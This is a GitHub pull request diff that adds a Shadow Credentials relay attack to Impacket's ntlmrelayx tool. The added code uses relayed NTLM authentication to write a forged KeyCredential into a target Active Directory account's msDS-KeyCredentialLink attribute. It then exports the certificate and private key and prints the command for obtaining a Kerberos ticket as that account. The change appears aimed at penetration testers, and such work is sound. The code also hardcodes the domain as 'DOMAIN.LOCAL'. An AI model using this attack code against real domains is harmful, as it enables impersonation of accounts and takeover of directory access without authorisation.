Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding Shadow Credentials attack to ntlmrelayx #1249

Merged
merged 5 commits into from
Apr 18, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions examples/ntlmrelayx.py
Original file line number Diff line number Diff line change
Expand Up @@ -166,6 +166,8 @@ def start_servers(options, threads):
c.setWebDAVOptions(options.serve_image)
c.setIsADCSAttack(options.adcs)
c.setADCSOptions(options.template)
c.setIsShadowCredentialsAttack(options.shadow_credentials)
c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type, options.cert_outfile_path)

if server is HTTPRelayServer:
c.setListeningPort(options.http_port)
Expand Down Expand Up @@ -333,6 +335,17 @@ def stop_servers(threads):
adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack')
adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`')

# Shadow Credentials attack options
shadowcredentials = parser.add_argument_group("Shadow Credentials attack options")
shadowcredentials.add_argument('--shadow-credentials', action='store_true', required=False,
help='Enable Shadow Credentials relay attack (msDS-KeyCredentialLink manipulation for PKINIT pre-authentication)')
shadowcredentials.add_argument('--shadow-target', action='store', required=False, help='target account (user or computer$) to populate msDS-KeyCredentialLink from')
shadowcredentials.add_argument('--pfx-password', action='store', required=False,
help='password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)')
shadowcredentials.add_argument('--export-type', action='store', required=False, choices=["PEM", " PFX"], type=lambda choice: choice.upper(), default="PFX",
help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))')
shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key')

try:
options = parser.parse_args()
except Exception as e:
Expand Down
95 changes: 95 additions & 0 deletions impacket/examples/ntlmrelayx/attacks/ldapattack.py
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,11 @@
from impacket.uuid import string_to_bin, bin_to_string
from impacket.structure import Structure, hexdump

from dsinternals.system.Guid import Guid
from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
from dsinternals.system.DateTime import DateTime
from dsinternals.common.data.hello.KeyCredential import KeyCredential

# This is new from ldap3 v2.5
try:
from ldap3.protocol.microsoft import security_descriptor_control
Expand Down Expand Up @@ -233,6 +238,91 @@ def addUserToGroup(self, userDn, domainDumper, groupDn):
else:
LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))


def shadowCredentialsAttack(self, domainDumper):
currentShadowCredentialsTarget = self.config.ShadowCredentialsTarget
# If the target is not specify, we try to modify the user himself
if not currentShadowCredentialsTarget:
currentShadowCredentialsTarget = self.username

if currentShadowCredentialsTarget in delegatePerformed:
LOG.info('Shadow credentials attack already performed for %s, skipping' % currentShadowCredentialsTarget)
return

LOG.info("Searching for the target account")

# Get the domain we are in
domaindn = domainDumper.root
# domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
domain = "DOMAIN.LOCAL"

# Get target computer DN
result = self.getUserInfo(domainDumper, currentShadowCredentialsTarget)
if not result:
LOG.error('Target account does not exist! (wrong domain?)')
return
else:
target_dn = result[0]
LOG.info("Target user found: %s" % target_dn)

LOG.info("Generating certificate")
certificate = X509Certificate2(subject=currentShadowCredentialsTarget, keySize=2048, notBefore=(-40 * 365), notAfter=(40 * 365))
LOG.info("Certificate generated")
LOG.info("Generating KeyCredential")
keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=target_dn, currentTime=DateTime())
LOG.info("KeyCredential generated with DeviceID: %s" % keyCredential.DeviceId.toFormatD())
LOG.debug("KeyCredential: %s" % keyCredential.toDNWithBinary().toString())
self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink'])
results = None
for entry in self.client.response:
if entry['type'] != 'searchResEntry':
continue
results = entry
if not results:
LOG.error('Could not query target user properties')
return
try:
new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [keyCredential.toDNWithBinary().toString()]
LOG.info("Updating the msDS-KeyCredentialLink attribute of %s" % currentShadowCredentialsTarget)
self.client.modify(target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]})
if self.client.result['result'] == 0:
LOG.info("Updated the msDS-KeyCredentialLink attribute of the target object")
if self.config.ShadowCredentialsOutfilePath is None:
path = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))
LOG.debug("No outfile path was provided. The certificate(s) will be store with the filename: %s" % path)
else:
path = self.config.ShadowCredentialsOutfilePath
if self.config.ShadowCredentialsExportType == "PEM":
certificate.ExportPEM(path_to_files=path)
LOG.info("Saved PEM certificate at path: %s" % path + "_cert.pem")
LOG.info("Saved PEM private key at path: %s" % path + "_priv.pem")
LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools")
LOG.info("Run the following command to obtain a TGT")
LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s %s.ccache" % (path, path, domain, currentShadowCredentialsTarget, path))
elif self.config.ShadowCredentialsExportType == "PFX":
if self.config.ShadowCredentialsPFXPassword is None:
password = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(20))
LOG.debug("No pass was provided. The certificate will be store with the password: %s" % password)
else:
password = self.config.ShadowCredentialsPFXPassword
certificate.ExportPFX(password=password, path_to_file=path)
LOG.info("Saved PFX (#PKCS12) certificate & key at path: %s" % path + ".pfx")
LOG.info("Must be used with password: %s" % password)
LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools")
LOG.info("Run the following command to obtain a TGT")
LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pfx %s.pfx -pfx-pass %s %s/%s %s.ccache" % (path, password, domain, currentShadowCredentialsTarget, path))
delegatePerformed.append(currentShadowCredentialsTarget)
else:
if self.client.result['result'] == 50:
LOG.error('Could not modify object, the server reports insufficient rights: %s' % self.client.result['message'])
elif self.client.result['result'] == 19:
LOG.error('Could not modify object, the server reports a constrained violation: %s' % self.client.result['message'])
else:
LOG.error('The server returned an error: %s' % self.client.result['message'])
except IndexError:
LOG.info('Attribute msDS-KeyCredentialLink does not exist')
return

def delegateAttack(self, usersam, targetsam, domainDumper, sid):
global delegatePerformed
if targetsam in delegatePerformed:
Expand Down Expand Up @@ -857,6 +947,11 @@ def run(self):
self.addComputer(computerscontainer, domainDumper)
return

# Perform the Shadow Credentials attack if it is enabled
if self.config.IsShadowCredentialsAttack:
self.shadowCredentialsAttack(domainDumper)
return

# Last attack, dump the domain if no special privileges are present
if not dumpedDomain and self.config.dumpdomain:
# Do this before the dump is complete because of the time this can take
Expand Down
15 changes: 15 additions & 0 deletions impacket/examples/ntlmrelayx/utils/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -98,6 +98,12 @@ def __init__(self):
self.isADCSAttack = False
self.template = None

# Shadow Credentials attack options
self.IsShadowCredentialsAttack = False
self.ShadowCredentialsPFXPassword = None
self.ShadowCredentialsExportType = None
self.ShadowCredentialsOutfilePath = None

def setSMBChallenge(self, value):
self.SMBServerChallenge = value

Expand Down Expand Up @@ -219,3 +225,12 @@ def setADCSOptions(self, template):

def setIsADCSAttack(self, isADCSAttack):
self.isADCSAttack = isADCSAttack

def setIsShadowCredentialsAttack(self, IsShadowCredentialsAttack):
self.IsShadowCredentialsAttack = IsShadowCredentialsAttack

def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentialsPFXPassword, ShadowCredentialsExportType, ShadowCredentialsOutfilePath):
self.ShadowCredentialsTarget = ShadowCredentialsTarget
self.ShadowCredentialsPFXPassword = ShadowCredentialsPFXPassword
self.ShadowCredentialsExportType = ShadowCredentialsExportType
self.ShadowCredentialsOutfilePath = ShadowCredentialsOutfilePath
1 change: 1 addition & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -8,3 +8,4 @@ ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6
ldapdomaindump>=0.9.0
flask>=1.0
pyreadline;sys_platform == 'win32'
dsinternals